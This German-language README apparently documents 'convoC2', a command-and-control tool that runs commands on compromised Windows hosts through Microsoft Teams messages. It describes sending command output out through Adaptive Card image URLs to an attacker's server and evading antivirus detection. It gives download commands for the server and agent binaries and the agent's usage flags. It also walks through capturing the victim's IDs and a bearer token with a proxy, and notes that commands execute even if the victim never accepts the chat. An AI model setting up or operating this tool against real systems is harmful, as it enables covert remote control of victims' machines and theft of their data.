
C2-Infrastruktur über Microsoft Teams.
Command-and-Control-Infrastruktur, die es Red Teamern ermöglicht, Systembefehle auf kompromittierten Hosts über Microsoft Teams auszuführen.
Sie schleust Daten in versteckte Span-Tags in Microsoft-Teams-Nachrichten ein und exfiltriert Befehlsausgaben in Adaptive-Cards-Bild-URLs, wodurch Out-of-Bound-Anfragen an einen C2-Server ausgelöst werden.
Das Fehlen einer direkten Kommunikation zwischen dem Opfer und dem Angreifer, kombiniert mit der Tatsache, dass das Opfer nur HTTP-Anfragen an Microsoft-Server sendet und Antivirenprogramme keine MS-Teams-Logdateien untersuchen, macht die Erkennung schwieriger.

Das folgende Video demonstriert die Verwendung des Servers zur Steuerung von zwei kompromittierten Hosts: einem, auf dem das neue Teams unter Windows 11 läuft, und einem anderen, auf dem das alte Teams unter Windows 10 läuft. Im ersten Fall befindet sich der Angreifer nicht in derselben Organisation wie das Opfer.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
Hinweis: Im ersten Fall hat das Opfer den Chat mit dem externen Angreifer bereits akzeptiert, aber in einem realen Szenario, in dem der Angreifer den Chat zum ersten Mal mit dem Opfer beginnt, müsste das Opfer den Chat mit dem Angreifer bestätigen (obwohl diese Warnmeldung leicht umgangen werden kann, siehe hier). Dies ist kein Problem: Da Nachrichten ohnehin in der Logdatei zwischengespeichert werden, werden die Befehle empfangen und ausgeführt, selbst wenn das Opfer den Chat noch nicht angesehen oder akzeptiert hat.
Server
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agent
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
Damit es funktioniert, müssen Sie einige Dinge einrichten:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads mit den eindeutigen IDs des Opfers und des Angreifers im Body. In der Antwort wird die threadId im Pfad der Location-Header-URL zurückgegeben.
Das Bearer-Token derselben Anfrage wird zur Authentifizierung bei https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages verwendet, dem Endpunkt zum Senden von Nachrichten. Wir müssen also nur diese drei Dinge erfassen, und der Server kümmert sich um den Rest.Nach dem Starten des Servers können Sie neue Agents empfangen und sie steuern, indem Sie die zuvor für die Authentifizierung erhaltenen Daten verwenden. Sehen Sie sich die Demo für ein Anwendungsbeispiel an.
Zunächst müssen Sie einen Teams-Kanal erstellen.

Klicken Sie mit der rechten Maustaste auf die drei Punkte und dann auf „Workflows“.

Geben Sie in die Suchleiste „Webhook“ ein und klicken Sie auf „Post to a channel when a webhook request is received“.

Fahren Sie mit den Standardeinstellungen fort und kopieren Sie schließlich die URL.

Beginnen Sie mit der Suche nach dem Opfer.

Nachdem Sie das Opferkonto ausgewählt haben und der Web-Proxy die Anfragen abfängt, können Sie eine Dummy-Nachricht senden.

Speichern Sie die beiden IDs aus der Anfrage api/chatsvc/emea/v1/threads und verwerfen Sie dann die Anfrage (DROP). Das Auth-Token ist das Bearer-Token derselben Anfrage.
